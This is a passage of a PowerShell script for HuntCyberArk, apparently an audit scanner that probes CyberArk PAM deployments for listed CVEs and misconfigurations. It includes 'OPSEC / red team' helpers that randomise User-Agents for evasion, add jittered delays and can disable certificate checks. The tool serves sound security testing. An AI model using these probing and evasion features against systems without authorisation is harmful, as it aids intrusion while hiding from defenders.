CVE-Specific Controls (CVE prefix) "CVE1" = "CVE-2021-31796 (Credential File Weak Key Derivation)" "BB12" = "Authentication Bypass via Header Injection" "BB13" = "XSS Vulnerability Patterns" "TP1" = "Third-Party: Spring4Shell (CVE-2022-22965)" "CVE5" = "CVE-2024-42340 (Client-Side Security Enforcement - CWE-602)" "CVE6" = "CVE-2024-42339 (IDOR - Information Disclosure - CWE-200)" "CVE7" = "CVE-2025-22270 (EPM XSS in Role Management)" "CVE8" = "CVE-2025-22271 (EPM X-Forwarded-For Spoofing)" "CVE9" = "CVE-2025-22272 (EPM XSS modalDlgMsgInternal)" "CVE10" = "CVE-2025-22273 (EPM Password Change Brute Force)" "CVE11" = "CVE-2025-22274 (EPM HTML Injection in Application)" "CVE12" = "CVE-2025-49827 (Secrets Manager IAM Bypass)" "CVE13" = "CVE-2025-49828 (Secrets Manager RCE)" "CVE14" = "CVE-2025-49831 (Secrets Manager Network Bypass)" "CVE15" = "CVE-2025-49830 (Secrets Manager Path Traversal)" "CVE16" = "CVE-2025-49829 (Secrets Manager Missing Validations)" "CVE17" = "CVE-2018-9843 (PVWA Deserialization RCE)" "CVE18" = "CVE-2019-7442 (XXE in SAML Authentication)" "CVE19" = "CVE-2018-9842 (Vault Memory Disclosure - Port 1858)" "CVE20" = "CVE-2024-57967 (PVWA LDAP Mapping Privilege Escalation)" "CVE21" = "CVE-2024-54840 (PVWA Host Header Injection)" "CVE22" = "CVE-2022-22700 (Identity Username Enumeration X-CFY-TX-TM)" "CVE23" = "CVE-2021-37151 (Identity Username Enumeration MFA Response)" "TP2" = "Third-Party: ag-grid Prototype Pollution (CVE-2024-38996)" "TP3" = "Third-Party: Log4Shell (CVE-2021-44228)" # Authentication Security Controls (AUTH prefix) "AUTH1" = "Username enumeration" "AUTH2" = "JWT algorithm confusion" "AUTH3" = "Cookie security flags" "AUTH4" = "Session fixation" "AUTH5" = "Account lockout policy" # Security Headers Controls (HDR prefix) "HDR1" = "Missing security headers" "HDR2" = "Information disclosure headers" # IIS Hardening Controls (IIS prefix) "IIS1" = "Dangerous HTTP methods enabled" "IIS2" = "Directory listing enabled" "IIS3" = "Detailed error messages" # Information Disclosure Controls (INFO prefix) "INFO1" = "Sensitive file exposure" "INFO2" = "Version disclosure" "INFO3" = "Internal path disclosure" # Network Security Controls (NET prefix - extended) "NET8" = "Host header injection" "NET9" = "Open redirect" "NET10" = "HTTP request smuggling" # Injection Controls (INJ prefix) "INJ1" = "LDAP injection" # CyberArk-Specific Controls (CA prefix) "CA1" = "CCP anonymous access" "CA2" = "PVWA internal endpoint exposure" "CA3" = "Vault port 1858 exposure" "CA4" = "PSM RDP port exposure" "CA5" = "Credential file web exposure" "CA6" = "PSMP SSH exposure" # Security Bulletin Controls (CA25 prefix) "CA25-25" = "Secrets Manager SaaS Edge DoS" "CA25-29" = "PVWA Prototype Pollution" "CA25-32" = "CCP Sensitive Info Disclosure" "CA25-34" = "HTML5 Gateway DoS" "CA25-35" = "PSM-SSH Race Condition DoS" # API Security Controls (API prefix) "API1" = "API authentication bypass" "API2" = "Injection vulnerabilities" "API3" = "Broken object level authorization" "API4" = "Mass assignment" "API5" = "API versioning security" "API6" = "API documentation exposure" "API7" = "CORS misconfiguration" "API8" = "Rate limiting absence" # Machine Identity Security Controls (MID prefix) "MID1" = "Service account enumeration" "MID2" = "Machine identity rotation" "MID3" = "Over-privileged service accounts" "MID4" = "Certificate-based authentication" "MID5" = "AppID security validation" "MID6" = "Stale machine identities" # Secrets Management Controls (SEC prefix) "SEC1" = "Credential Provider deployment" "SEC2" = "AppID authentication strength" "SEC3" = "Allowed machines configuration" "SEC4" = "Cache TTL settings" "SEC5" = "CCP TLS/mTLS configuration" "SEC6" = "Secret rotation policy" "SEC7" = "Orphan secrets detection" "SEC8" = "Credential sprawl analysis" # Zero Standing Privileges Controls (ZSP prefix) "ZSP1" = "Permanent privileged access" "ZSP2" = "Dual control workflows" "ZSP3" = "Concurrent session limits" "ZSP4" = "Check-in/check-out enforcement" "ZSP5" = "Standing privilege recommendations" # Identity Governance Controls (IGA prefix) "IGA1" = "Orphaned identities" "IGA2" = "Permission drift detection" "IGA3" = "Inactive user accounts" "IGA4" = "Excessive safe memberships" "IGA5" = "Access certification status" "IGA6" = "Role membership sprawl" "IGA7" = "Pending account queue age" "IGA8" = "Account ownership gaps" # Endpoint Privilege Manager Controls (EPM prefix) "EPM1" = "EPM integration status" "EPM2" = "Default policy assessment" "EPM3" = "Application control mode" "EPM4" = "Credential theft protection" "EPM5" = "Elevation justification" "EPM6" = "EPM audit logging" # Cloud Security Controls (CLD prefix) "CLD1" = "Cloud provider integration" "CLD2" = "Federated identity configuration" "CLD3" = "Cloud secret sync policy" "CLD4" = "CIEM integration" "CLD5" = "Cloud IAM role analysis" "CLD6" = "Multi-cloud policy consistency" # Disaster Recovery Controls (DR prefix) "DR1" = "DR Vault replication" "DR2" = "HA cluster health" "DR3" = "Component redundancy" "DR4" = "Backup configuration" "DR5" = "Break-glass accounts" # Compliance Mapping Controls (COMP prefix) "COMP1" = "NIST CSF mapping" "COMP2" = "SOC 2 alignment" "COMP3" = "PCI-DSS controls" "COMP4" = "Blueprint maturity score" # Audit Logging Controls (AUD prefix) "AUD1" = "SIEM integration health" "AUD2" = "Audit log retention" "AUD3" = "Critical event alerting" "AUD4" = "Audit data integrity" # Active Directory Security Controls (AD prefix) "AD1" = "Shadow admin discovery" "AD2" = "Skeleton Key detection" "AD3" = "SID History analysis" "AD4" = "Risky SPN configuration" "AD5" = "Unconstrained delegation" "AD6" = "Constrained delegation with protocol transition" "AD7" = "Delegation privilege audit" # Enhanced Secrets Management Controls (SEC prefix) "SEC9" = "Conjur integration health" "SEC10" = "MAML policy validation" "SEC11" = "Authenticator configuration" "SEC12" = "Conjur database encryption" "SEC13" = "API key rotation" "SEC14" = "Conjur audit logging" # Enhanced Machine Identity Controls (MID prefix) "MID7" = "AIM Provider deployment" "MID8" = "AIM Provider configuration" "MID9" = "AIM Provider connectivity" # Security Posture Expansion - Secrets Hub Controls (SH prefix) "SH1" = "Secrets Hub sync health" "SH2" = "Secrets Hub sync latency" "SH3" = "Secrets Hub version drift" "SH4" = "Secrets Hub sync failure rate" "SH5" = "Secrets Hub target configuration" "SH6" = "Secrets Hub audit logging" # Security Posture Expansion - Remote Access Controls (RA prefix) "RA1" = "Alero invitation workflow" "RA2" = "Alero session time limits" "RA3" = "Alero biometric/device binding" "RA4" = "Alero audit log completeness" "RA5" = "Alero periodic access reviews" "RA6" = "Alero MFA enforcement" # Security Posture Expansion - Kubernetes Controls (K8S prefix) "K8S1" = "Secrets Provider deployment mode" "K8S2" = "Pod security context" "K8S3" = "Service Account JWT authentication" "K8S4" = "Kubernetes secrets rotation" "K8S5" = "RBAC for secrets" "K8S6" = "Mounted secret permissions" "K8S7" = "Conjur follower health" "K8S8" = "Kubernetes audit logging" # Security Posture Expansion - DevSecOps Controls (DSO prefix) "DSO1" = "CI/CD secrets retrieval patterns" "DSO2" = "Pipeline secrets sprawl" "DSO3" = "Short-lived token usage" "DSO4" = "Pipeline audit logging" "DSO5" = "Secrets in build artifacts" "DSO6" = "Pipeline identity binding" # Security Posture Expansion - Privilege Cloud Controls (PC prefix) "PC1" = "Privilege Cloud connector health" "PC2" = "Identity Security Platform integration" "PC3" = "Privilege Cloud API security" "PC4" = "Privilege Cloud tenant isolation" "PC5" = "Cloud connector redundancy" # Security Posture Expansion - CyberArk Identity Controls (IDN prefix) "IDN1" = "SSO integration with PVWA" "IDN2" = "Adaptive MFA policy" "IDN3" = "Identity lifecycle sync" "IDN4" = "Session risk scoring" "IDN5" = "Identity audit integration" "IDN6" = "Privileged app catalog policies" # Security Posture Expansion - Custom Plugins Controls (PLG prefix) "PLG1" = "Custom PSM connectors security" "PLG2" = "Custom CPM plugin injection risks" "PLG3" = "Unauthorized/outdated components" "PLG4" = "Plugin digital signature validation" "PLG5" = "Custom script file permissions" # Security Posture Expansion - Backup Security Controls (BKP prefix) "BKP1" = "Vault backup encryption" "BKP2" = "Backup file permissions" "BKP3" = "Backup in-transit encryption" "BKP4" = "Backup restoration testing" "BKP5" = "Backup retention policy" # Security Posture Expansion - HSM Integration Controls (HSM prefix) "HSM1" = "HSM connectivity and health" "HSM2" = "HSM key wrapping configuration" "HSM3" = "HSM partition isolation" "HSM4" = "HSM firmware currency" # Security Posture Expansion - PTA Deep Dive Controls (PTAD prefix) "PTAD1" = "PTA custom detection rules" "PTAD2" = "PTA ML model quality" "PTAD3" = "PTA alert fatigue (false positives)" "PTAD4" = "PTA detection rule coverage" "PTAD5" = "PTA UEBA integration" "PTAD6" = "PTA automated response actions" # Security Posture Expansion - Third-Party Integration Controls (TPI prefix) "TPI1" = "ITSM (ServiceNow) integration" "TPI2" = "SOAR automated response playbooks" "TPI3" = "SIEM PAM event correlation" "TPI4" = "SIEM log forwarder health" "TPI5" = "Integration credential health" # Security Posture Expansion - Operational Hygiene Controls (OPS prefix) "OPS1" = "Account onboarding queue metrics" "OPS2" = "CPM password change failure rates" "OPS3" = "PSM session success/failure ratios" "OPS4" = "CPM reconciliation backlog" "OPS5" = "Platform connection errors" "OPS6" = "Vault utilization and capacity" "OPS7" = "License compliance" "OPS8" = "Component uptime" # Security Posture Expansion - Attack Path Simulation Controls (APS prefix) "APS1" = "Workstation to PAM escalation" "APS2" = "Pass-the-Hash attack surface" "APS3" = "NTLM relay risks" "APS4" = "Cached credential extraction resilience" "APS5" = "Kerberoasting exposure" "APS6" = "Privilege escalation paths" # Security Posture Expansion - Supply Chain Integrity Controls (SCI prefix) "SCI1" = "Component file hash validation" "SCI2" = "Patch currency" "SCI3" = "Third-party library vulnerabilities" "SCI4" = "Digital signature validation" "SCI5" = "Component origin verification" # Security Posture Expansion - Network Segmentation Controls (NSG prefix) "NSG1" = "Vault network isolation" "NSG2" = "PSM to Vault communication restrictions" "NSG3" = "PVWA to backend segmentation" "NSG4" = "East-West traffic monitoring" "NSG5" = "Component-specific network ACLs" } #endregion #====================================================================== # MODULE LOADING #====================================================================== # The script now supports modular architecture. Core functions are available # in the modules/ directory for better maintainability: # - modules/Core.ps1 - Helper functions, logging, baseline detection # - modules/CVE-Checks.ps1 - CVE vulnerability testing # - modules/Network-Security.ps1 - Port scanning, TLS, cipher checks # - modules/API-Security.ps1 - BOLA, injection, API security tests # - modules/Reporting.ps1 - HTML, CSV, JSON report generation # # Functions defined in this main script take precedence over module functions. # Modules are optional - the script includes all functions inline for standalone use. # # To use modular approach, uncomment the following section: # # $script:ModulesPath = Join-Path $PSScriptRoot "modules" # if (Test-Path $script:ModulesPath) { # $moduleFiles = @( # "Core.ps1", # "Network-Security.ps1", # "CVE-Checks.ps1", # "API-Security.ps1", # "Reporting.ps1" # ) # foreach ($module in $moduleFiles) { # $modulePath = Join-Path $script:ModulesPath $module # if (Test-Path $modulePath) { # Write-Verbose "Loading module: $module" # . $modulePath # } # } # Write-Verbose "Modules loaded from: $($script:ModulesPath)" # } #====================================================================== #region UI Functions function Show-Banner { <# .SYNOPSIS Displays the HuntCyberArk ASCII art banner #> Write-Host "" # Use PowerShell native colors for maximum compatibility (works on PS 5.1+) Write-Host " ██╗ ██╗██╗ ██╗███╗ ██╗████████╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ █████╗ ██████╗ ██╗ ██╗" -ForegroundColor Magenta Write-Host " ██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝" -ForegroundColor Magenta Write-Host " ███████║██║ ██║██╔██╗ ██║ ██║ ██║ ╚████╔╝ ██████╔╝█████╗ ██████╔╝███████║██████╔╝█████╔╝ " -ForegroundColor Magenta Write-Host " ██╔══██║██║ ██║██║╚██╗██║ ██║ ██║ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗██╔══██║██╔══██╗██╔═██╗ " -ForegroundColor Magenta Write-Host " ██║ ██║╚██████╔╝██║ ╚████║ ██║ ╚██████╗ ██║ ██████╔╝███████╗██║ ██║██║ ██║██║ ██║██║ ██╗" -ForegroundColor Magenta Write-Host " ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝" -ForegroundColor Magenta Write-Host "" Write-Host " CyberArk PAM Security Audit" -ForegroundColor Yellow Write-Host " https://logisek.com | info@logisek.com" -ForegroundColor DarkGray Write-Host " https://github.com/Logisek/HuntCyberArk" -ForegroundColor DarkGray Write-Host "" } #endregion #region Helper Functions #====================================================================== # UTILITY HELPER FUNCTIONS #====================================================================== function Write-VerboseError { <# .SYNOPSIS Logs error details when VerboseOutput is enabled #> param( [string]$Context, [System.Management.Automation.ErrorRecord]$ErrorRecord ) if ($VerboseOutput) { Write-AuditLog "TRACE [$Context]: $($ErrorRecord.Exception.Message)" -Level Warning } } function Test-Prerequisites { <# .SYNOPSIS Validates that required PowerShell modules and features are available #> Write-AuditLog "Checking prerequisites..." -Level Info $warnings = @() # Check PowerShell version if ($PSVersionTable.PSVersion.Major -lt 5) { $warnings += "PowerShell 5.1+ recommended. Current version: $($PSVersionTable.PSVersion)" } # Check for required modules (optional - will skip related checks if not available) $optionalModules = @( @{ Name = "NetSecurity"; Checks = "Windows Firewall checks"; InstallMethod = "WindowsFeature" }, @{ Name = "ActiveDirectory"; Checks = "AD security checks"; InstallMethod = "RSAT" } ) # Check if running as admin (needed for installing modules) $isAdminForInstall = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) foreach ($module in $optionalModules) { if (-not (Get-Module -ListAvailable -Name $module.Name -ErrorAction SilentlyContinue)) { Write-AuditLog "Module '$($module.Name)' not available - attempting automatic installation..." -Level Warning $installed = $false if ($isAdminForInstall) { try { if ($module.InstallMethod -eq "RSAT" -and $module.Name -eq "ActiveDirectory") { # Try Windows 10/11 method first (Add-WindowsCapability) $osInfo = Get-CimInstance -ClassName Win32_OperatingSystem -ErrorAction SilentlyContinue $isServer = $osInfo.ProductType -ne 1 # 1 = Workstation, 2 = DC, 3 = Server if ($isServer) { # Windows Server - use Install-WindowsFeature Write-AuditLog "Detected Windows Server - installing RSAT-AD-PowerShell feature..." -Level Info $result = Install-WindowsFeature -Name RSAT-AD-PowerShell -ErrorAction Stop if ($result.Success) { $installed = $true Write-AuditLog "Successfully installed RSAT-AD-PowerShell feature" -Level Success } } else { # Windows 10/11 - use Add-WindowsCapability Write-AuditLog "Detected Windows Client - installing RSAT ActiveDirectory capability..." -Level Info $capability = Get-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools*" -ErrorAction SilentlyContinue if ($capability -and $capability.State -ne "Installed") { $result = Add-WindowsCapability -Online -Name $capability.Name -ErrorAction Stop if ($result.RestartNeeded -eq $false) { $installed = $true Write-AuditLog "Successfully installed RSAT ActiveDirectory tools" -Level Success } else { Write-AuditLog "RSAT ActiveDirectory tools installed but restart required" -Level Warning $warnings += "Module '$($module.Name)' installed but restart required before use" } } elseif ($capability.State -eq "Installed") { $installed = $true Write-AuditLog "RSAT ActiveDirectory tools already installed, importing module..." -Level Info } } # Try to import the module after installation if ($installed) { Import-Module ActiveDirectory -ErrorAction SilentlyContinue if (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue) { Write-AuditLog "ActiveDirectory module imported successfully" -Level Success } } } elseif ($module.InstallMethod -eq "WindowsFeature" -and $module.Name -eq "NetSecurity") { # NetSecurity is typically available by default on modern Windows # Try importing it first Import-Module NetSecurity -ErrorAction Stop $installed = $true Write-AuditLog "NetSecurity module imported successfully" -Level Success } } catch { Write-AuditLog "Failed to install module '$($module.Name)': $($_.Exception.Message)" -Level Warning } } else { Write-AuditLog "Cannot auto-install '$($module.Name)' - not running as Administrator" -Level Warning } # Final check if module is now available if (-not $installed -and -not (Get-Module -ListAvailable -Name $module.Name -ErrorAction SilentlyContinue)) { $warnings += "Module '$($module.Name)' not available - $($module.Checks) may be skipped" if (-not $isAdminForInstall) { $warnings[-1] += " (Run as Administrator to auto-install)" } } } else { # Module available, ensure it's imported try { Import-Module $module.Name -ErrorAction SilentlyContinue } catch { # Ignore import errors, module will be imported when needed } } } # Check for .NET classes needed for some tests try { [void][System.Net.Sockets.TcpClient] } catch { $warnings += ".NET TcpClient class not available - port scanning will be limited" } # Check TLS support $tlsProtocols = [Net.ServicePointManager]::SecurityProtocol if ($tlsProtocols -notmatch "Tls12|Tls13") { $warnings += "TLS 1.2/1.3 not enabled by default in this PowerShell session" } # Output warnings if ($warnings.Count -gt 0) { Write-AuditLog "Prerequisites check completed with $($warnings.Count) warning(s):" -Level Warning foreach ($warning in $warnings) { Write-AuditLog " - $warning" -Level Warning } } else { Write-AuditLog "All prerequisites satisfied" -Level Success } return $warnings.Count -eq 0 } #====================================================================== # OPSEC / RED TEAM HELPER FUNCTIONS #====================================================================== function Initialize-OPSECMode { <# .SYNOPSIS Initializes OPSEC-safe defaults for red team operations #> Write-AuditLog "Initializing OPSEC Mode - Reducing detection footprint..." -Level Warning # Reduce aggressive testing $script:Config.PortScanTimeoutMs = 2000 # Slower scans $script:Config.EnableAggressiveScanning = $false # Disable noisy tests $script:SkipDefaultCredentialTests = $true $script:SkipRateLimitTests = $true $script:OPSECEnabled = $true # Add random delays between requests if ($script:RequestDelay -eq 0) { $script:RequestDelay = 2 # 2 second minimum delay } if ($script:Jitter -eq 0) { $script:Jitter = 30 # 30% jitter } } function Get-RandomizedUserAgent { <# .SYNOPSIS Returns a randomized User-Agent string for evasion #> if ($script:CustomUserAgent) { return $script:CustomUserAgent } if ($RandomizeUserAgent -or $OPSECMode) { $index = Get-Random -Minimum 0 -Maximum $script:Config.UserAgents.Count return $script:Config.UserAgents[$index] } return "CyberArk-Security-Audit/4.2" } function Add-RequestDelay { <# .SYNOPSIS Adds configurable delay with jitter between requests for OPSEC #> if ($script:RequestDelay -gt 0) { $baseDelay = $script:RequestDelay * 1000 # Convert to ms $jitterAmount = 0 if ($script:Jitter -gt 0) { $jitterRange = [int]($baseDelay * ($script:Jitter / 100)) $jitterAmount = Get-Random -Minimum (-$jitterRange) -Maximum $jitterRange } $actualDelay = [Math]::Max(100, $baseDelay + $jitterAmount) Start-Sleep -Milliseconds $actualDelay } } function Get-OPSECDelay { <# .SYNOPSIS Calculates delay with jitter for OPSEC mode - returns delay in milliseconds #> param( [int]$BaseDelay = 0, [int]$Jitter = 0 ) if ($BaseDelay -le 0) { return 0 } $baseMs = $BaseDelay * 1000 # Convert seconds to milliseconds $jitterAmount = 0 if ($Jitter -gt 0) { $jitterRange = [int]($baseMs * ($Jitter / 100)) $jitterAmount = Get-Random -Minimum (-$jitterRange) -Maximum $jitterRange } return [Math]::Max(100, $baseMs + $jitterAmount) } function Initialize-WebRequestDefaults { <# .SYNOPSIS Configures web request defaults including proxy and certificate handling #> # Configure TLS [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 # Handle certificate errors if requested if ($IgnoreCertificateErrors) { Write-AuditLog "Certificate validation disabled - connections may be insecure" -Level Warning if ($PSVersionTable.PSVersion.Major -ge 6) { # PowerShell 6+ uses -SkipCertificateCheck parameter $script:SkipCertCheck = $true } else { # PowerShell 5.1 uses callback [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } } } # Configure proxy if specified if ($Proxy) { Write-AuditLog "Configuring proxy: $Proxy" -Level Info $script:WebProxy = New-Object System.Net.WebProxy($Proxy) $script:WebProxy.UseDefaultCredentials = $false if ($ProxyCredential) { $script:WebProxy.Credentials = $ProxyCredential } [System.Net.WebRequest]::DefaultWebProxy = $script:WebProxy } # Store custom User-Agent if ($UserAgent) { $script:CustomUserAgent = $UserAgent } } function Invoke-OPSECWebRequest { <# .SYNOPSIS OPSEC-aware web request wrapper with proxy, delay, and evasion support #> param( [Parameter(Mandatory = $true)] [string]$Uri, [string]$Method = "GET", [hashtable]$Headers = @{}, [object]$Body = $null, [string]$ContentType = "application/json", [int]$TimeoutSec = 30, [switch]$ReturnFullResponse ) # Add delay for OPSEC Add-RequestDelay # Build headers with User-Agent $requestHeaders = $Headers.Clone() if (-not $requestHeaders.ContainsKey("User-Agent")) { $requestHeaders["User-Agent"] = Get-RandomizedUserAgent } # Build request parameters $params = @{ Uri = $Uri Method = $Method Headers = $requestHeaders TimeoutSec = $TimeoutSec UseBasicParsing = $true ErrorAction = "SilentlyContinue" } if ($Body) { $params.Body = if ($Body -is [string]) { $Body } else { $Body | ConvertTo-Json -Depth 10 } $params.ContentType = $ContentType } # Add proxy if configured if ($script:WebProxy) { $params.Proxy = $script:WebProxy.Address if ($ProxyCredential) { $params.ProxyCredential = $ProxyCredential } } # Handle certificate validation for PS 6+ if ($script:SkipCertCheck -and $PSVersionTable.PSVersion.Major -ge 6) { $params.SkipCertificateCheck = $true } try { $response = Invoke-WebRequest @params if ($ReturnFullResponse) { return $response } return @{ StatusCode = $response.StatusCode Headers = $response.Headers Content = $response.Content Success = $true } } catch { return @{ StatusCode = if ($_.Exception.Response) { [int]$_.Exception.Response.StatusCode } else { 0 } Error = $_.Exception.Message Success = $false } } } function Clear-SensitiveData { <# .SYNOPSIS Securely clears sensitive data from memory #> param( [ref]$SecureString ) if ($SecureString.Value -and $SecureString.Value -is [System.Security.SecureString]) { $SecureString.Value.Dispose() } # Force garbage collection for sensitive data [System.GC]::Collect() [System.GC]::WaitForPendingFinalizers() } #region Improved Helper Functions <# .SYNOPSIS Invokes a web request with automatic retry logic for transient failures .DESCRIPTION Wraps Invoke-WebRequest with exponential backoff retry logic to handle transient network failures, timeouts, and rate limiting (429) responses. Retry behavior: - Retries on: Timeout, ConnectionReset, 429 (rate limit), 502, 503, 504 - Does NOT retry on: 400, 401, 403, 404, 405 (these are legitimate responses) - Uses exponential backoff: 1s, 2s, 4s between retries .PARAMETER Uri The URI to request .PARAMETER Method HTTP method (GET, POST, PUT, DELETE, etc.) .PARAMETER Headers Optional hashtable of HTTP headers .PARAMETER Body Optional request body .PARAMETER ContentType Content-Type header value (default: application/json) .PARAMETER TimeoutSec Request timeout in seconds (default: 10) .PARAMETER MaxRetries Maximum number of retry attempts (default: 3) .PARAMETER RetryDelayBase Base delay in seconds for exponential backoff (default: 1) .OUTPUTS Hashtable with StatusCode, Content, Headers, Success, RetryCount .EXAMPLE $result = Invoke-WebRequestWithRetry -Uri "https://api.example.com/data" -MaxRetries 3 if ($result.Success) { $data = $result.Content } #> function Invoke-WebRequestWithRetry { param( [Parameter(Mandatory = $true)] [string]$Uri, [string]$Method = "GET", [hashtable]$Headers = @{}, [object]$Body = $null, [string]$ContentType = "application/json", [int]$TimeoutSec = 10, [int]$MaxRetries = 3, [int]$RetryDelayBase = 1 ) # Status codes that indicate transient failures worth retrying $retryStatusCodes = @(429, 502, 503, 504, 0) # 0 = connection failed $retryCount = 0 $lastError = $null $lastStatusCode = 0 while ($retryCount -le $MaxRetries) { try { $params = @{ Uri = $Uri Method = $Method Headers = $Headers TimeoutSec = $TimeoutSec UseBasicParsing = $true ErrorAction = "Stop" } if ($Body) { $params.Body = if ($Body -is [string]) { $Body } else { ($Body | ConvertTo-Json -Depth 10) } $params.ContentType = $ContentType } # Handle certificate validation for PS 6+ if ($script:SkipCertCheck -and $PSVersionTable.PSVersion.Major -ge 6) { $params.SkipCertificateCheck = $true } $response = Invoke-WebRequest @params return @{ StatusCode = $response.StatusCode Content = $response.Content Headers = $response.Headers Success = $true RetryCount = $retryCount } } catch { $lastError = $_.Exception.Message $lastStatusCode = if ($_.Exception.Response) { [int]$_.Exception.Response.StatusCode } else { 0 } # Check if this is a retryable error $isRetryable = $false # Transient status codes if ($lastStatusCode -in $retryStatusCodes) { $isRetryable = $true } # Connection/timeout errors (status 0) if ($lastError -match "timeout|timed out|connection.*reset|connection.*refused|network.*unreachable") { $isRetryable = $true } if ($isRetryable -and $retryCount -lt $MaxRetries) { $retryCount++ $delay = $RetryDelayBase * [Math]::Pow(2, $retryCount - 1) # Exponential backoff Write-AuditLog "Request to $Uri failed (attempt $retryCount/$MaxRetries): $lastError. Retrying in ${delay}s..." -Level Debug Start-Sleep -Seconds $delay } else { # Not retryable or max retries reached break } } } # Return failure result return @{ StatusCode = $lastStatusCode Content = $null Headers = $null Success = $false Error = $lastError RetryCount = $retryCount } } <# .SYNOPSIS Tests a CVE endpoint with comprehensive validation to prevent false positives .DESCRIPTION Consolidated function for testing CVE vulnerabilities that handles: - Baseline response filtering (SPA catch-all pages) - HTML vs JSON response validation - Content pattern matching for vulnerability confirmation - Automatic finding creation with PoC data This function should be used instead of raw Invoke-WebRequest calls in CVE check functions to ensure consistent false positive prevention. .PARAMETER Uri The full URI to test .PARAMETER Method HTTP method (default: GET) .PARAMETER Headers Optional hashtable of HTTP headers to send .PARAMETER Body Optional request body .PARAMETER ContentType Content-Type header (default: application/json) .PARAMETER VulnerabilityPatterns Array of regex patterns that indicate the vulnerability exists. At least one must match for vulnerability to be confirmed. .PARAMETER FalsePositivePatterns Array of regex patterns that indicate a false positive. If any match, the check returns not vulnerable. .PARAMETER RequireJSON If $true, response must be valid JSON to be considered vulnerable .PARAMETER RequireNonHTML If $true, HTML responses are automatically filtered as false positives .PARAMETER CVEId The CVE identifier (e.g., "CVE-2021-31796") for logging .OUTPUTS Hashtable with: - IsVulnerable: Boolean indicating if vulnerability was confirmed - Response: The web response object - Content: Response body content - MatchedPattern: The pattern that matched (if vulnerable) - Reason: Why the check passed/failed (for debugging) .EXAMPLE $result = Test-CVEEndpoint -Uri "$PVWA/api/vulnerable" -VulnerabilityPatterns @('"secret":', '"password":') if ($result.IsVulnerable) { Add-Finding -Finding "Vulnerability confirmed" -Resource $Uri ... } #> function Test-CVEEndpoint { param( [Parameter(Mandatory = $true)] [string]$Uri, [string]$Method = "GET", [hashtable]$Headers = @{}, [object]$Body = $null, [string]$ContentType = "application/json", [string[]]$VulnerabilityPatterns = @(), [string[]]$FalsePositivePatterns = @(), [switch]$RequireJSON, [switch]$RequireNonHTML, [string]$CVEId = "" ) $result = @{ IsVulnerable = $false Response = $null Content = $null MatchedPattern = $null Reason = "Not tested" StatusCode = 0 } try { # Make the request with retry logic $response = Invoke-WebRequestWithRetry -Uri $Uri -Method $Method -Headers $Headers -Body $Body -ContentType $ContentType -TimeoutSec 10 -MaxRetries 2 if (-not $response.Success) { $result.Reason = "Request failed: $($response.Error)" $result.StatusCode = $response.StatusCode return $result } $result.Response = $response $result.Content = $response.Content $result.StatusCode = $response.StatusCode $content = $response.Content # Check 1: Skip baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $content) { $result.Reason = "Filtered: Baseline/catch-all response detected" return $result } # Check 2: Skip HTML responses if RequireNonHTML if ($RequireNonHTML -and $content -match " function Invoke-ParallelEndpointTest { param( [Parameter(Mandatory = $true)] [array]$Endpoints, [Parameter(Mandatory = $true)] [scriptblock]$ScriptBlock, [int]$ThrottleLimit = 10, [int]$TimeoutSeconds = 30 ) # For small numbers of endpoints, just run sequentially if ($Endpoints.Count -le 2) { $results = @() foreach ($endpoint in $Endpoints) { try { $result = & $ScriptBlock $endpoint $results += @{ Endpoint = $endpoint Result = $result Success = $true Error = $null } } catch { $results += @{ Endpoint = $endpoint Result = $null Success = $false Error = $_.Exception.Message } } } return $results } # Use runspace pool for parallel execution $runspacePool = [runspacefactory]::CreateRunspacePool(1, $ThrottleLimit) $runspacePool.Open() $runspaces = @() $results = @() try { # Create runspaces for each endpoint foreach ($endpoint in $Endpoints) { $powershell = [powershell]::Create().AddScript({ param($endpoint, $scriptBlock, $timeout) try { $result = & $scriptBlock $endpoint return @{ Endpoint = $endpoint Result = $result Success = $true Error = $null } } catch { return @{ Endpoint = $endpoint Result = $null Success = $false Error = $_.Exception.Message } } }).AddArgument($endpoint).AddArgument($ScriptBlock).AddArgument($TimeoutSeconds) $powershell.RunspacePool = $runspacePool $runspaces += @{ PowerShell = $powershell Handle = $powershell.BeginInvoke() Endpoint = $endpoint } } # Collect results with timeout $timeout = [datetime]::Now.AddSeconds($TimeoutSeconds + 10) foreach ($runspace in $runspaces) { try { $remainingTime = ($timeout - [datetime]::Now).TotalMilliseconds if ($remainingTime -gt 0) { if ($runspace.Handle.AsyncWaitHandle.WaitOne([int]$remainingTime)) { $result = $runspace.PowerShell.EndInvoke($runspace.Handle) $results += $result } else { $results += @{ Endpoint = $runspace.Endpoint Result = $null Success = $false Error = "Timeout" } } } } catch { $results += @{ Endpoint = $runspace.Endpoint Result = $null Success = $false Error = $_.Exception.Message } } finally { $runspace.PowerShell.Dispose() } } } finally { $runspacePool.Close() $runspacePool.Dispose() } return $results } <# .SYNOPSIS Tests multiple URIs for a specific vulnerability pattern in parallel .DESCRIPTION Convenience wrapper around Invoke-ParallelEndpointTest specifically designed for CVE testing. Tests multiple endpoints for the same vulnerability pattern and returns findings. .PARAMETER BaseUri The base URI (e.g., PVWA URL) .PARAMETER Endpoints Array of endpoint paths to test (will be appended to BaseUri) .PARAMETER VulnerabilityPatterns Regex patterns indicating vulnerability .PARAMETER FalsePositivePatterns Regex patterns indicating false positive .PARAMETER Method HTTP method (default: GET) .PARAMETER Headers Optional headers hashtable .PARAMETER RequireJSON If true, require JSON response .PARAMETER ThrottleLimit Max concurrent tests (default: 5) .OUTPUTS Array of vulnerable endpoints with details .EXAMPLE $vulnerable = Test-EndpointsParallel -BaseUri $PVWA -Endpoints @("/api/v1", "/api/v2") ` 